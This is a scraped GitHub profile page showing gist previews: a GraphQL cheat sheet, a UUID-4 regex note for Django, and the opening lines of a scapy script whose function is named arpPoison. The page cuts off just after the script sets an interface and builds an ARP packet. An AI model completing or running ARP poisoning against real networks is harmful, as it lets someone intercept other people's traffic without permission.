Skip to content

Instantly share code, notes, and snippets.

View vkhansen's full-sized avatar
💥
Boom

vkhansen

💥
Boom
  • undisclosed
View GitHub Profile
@jbritton
jbritton / graphql-cheat-sheet.md
Last active November 30, 2025 02:05
GraphQL Cheat Sheet

GraphQL Cheat Sheet

Overview

  • An alternative approach to RESTful APIs
  • Clients issue queries/mutations to read and update data
  • Clients can fetch only the entity fields that are required
  • GraphQL query syntax can express complex entity relations => nested objects
  • Mitigates the explosion of RESTful endpoints in scenarios where many different representations of an entity are needed
  • Graphiql is a query execution UI, also provides good documentation
@luzfcb
luzfcb / uuid4_python_regex.md
Last active September 20, 2024 13:28
uuid4 python regex . django slug

A UUID-4 has five groups of lowcase hexadecimal characters, the first has 8 chars, the second 4 chars, the third 4 chars, the fourth 4 chars, the fifth 12 chars.

However to make it a valid UUID4 the third group (the one in the middle) must start with a 4:

00000000-0000-4000-0000-000000000000
              ^
from scapy.all import *
import time
import argparse
import os
import sys
def arpPoison(args):
conf.iface= args.iface
pkt = ARP()